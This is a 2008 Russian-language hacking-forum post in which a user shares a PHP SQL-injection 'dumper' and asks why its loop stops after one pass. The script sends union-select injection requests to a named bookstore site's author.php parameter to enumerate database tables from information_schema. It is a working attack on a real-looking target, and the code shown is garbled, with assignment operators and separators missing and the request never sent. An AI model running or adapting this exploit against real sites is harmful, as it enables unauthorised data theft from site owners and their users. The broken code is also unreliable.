Показать сообщение отдельно

  #3698  
Старый 25.06.2008, 21:44
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами: 9454841

Репутация: 504


По умолчанию

вопрос появился.. пишу дампер таблички information_schema.tables...
PHP код:
<?php
$host 
'www.llewellyn.com';

$fp fsockopen($host80$errno$errstr30);
$pos 0;
$pos1 0;
$i1 131;
$tableName '';
if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
    exit;
}
    for (
$i=1$i<$i1;$i++) {
    
$out 'GET  /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_schema,0x2e,table_name,0x3a7c3a7c),5,null,null,null,9,10,11,12+from+information_schema.tables+limit+'.$i.',1/*'." HTTP/1.1\r\n";
    
$out .= "Host: ".$host."\r\n";
    
$out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
    
$out .= "Connection: Close\r\n\r\n";

    while (!
feof($fp)) 
        {
    
$packet fgets($fp);
    
fwrite($fh,$packet);
        
$pos strpos($packet,'|:|:');
    
$pos1 strpos($packet,':|:|');
    
$tableName substr($packet$pos+4$pos1 $pos 4);
    if ((
$pos) and ($pos1))
        { 
        echo 
" pos: $pos\n pos1: $pos1\n table name: $tableName\n";
        }
        }
    
$out '';
}

    
fclose($fp);
?>
появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)

Последний раз редактировалось gisTy; 25.06.2008 в 23:11..
 
Ответить с цитированием